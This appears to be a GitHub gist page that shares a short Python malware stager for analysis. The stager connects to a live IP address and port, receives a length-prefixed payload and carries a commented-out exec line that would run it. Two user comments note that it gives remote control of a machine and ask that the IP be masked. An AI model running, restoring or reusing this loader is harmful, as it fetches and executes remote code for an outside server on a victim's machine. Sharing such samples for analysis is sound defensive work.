Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Don't run this... but analyze it if you want to
import socket,struct,time
for x in range(1):
try:
s = socket.socket(2, socket.SOCK_STREAM)
s.connect(('161.35.235.129', 4446))
break
except:
time.sleep(5)
l = struct.unpack('>I', s.recv(4))[0]
d = s.recv(l)
while len(d)<l:
d += s.recv(l - len(d))
# exec(d, {'s': s})
@markwatson

This comment has been minimized.

Copy link

@markwatson markwatson commented Jul 3, 2020

I'm guessing the # exec(d, {'s': s}) line wasn't commented out? This is actually a pretty neat little script for remotely controlling a machine.

@StarLightPL

This comment has been minimized.

Copy link

@StarLightPL StarLightPL commented Jul 3, 2020

You really should mask the ip address so it doesn't spread further.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment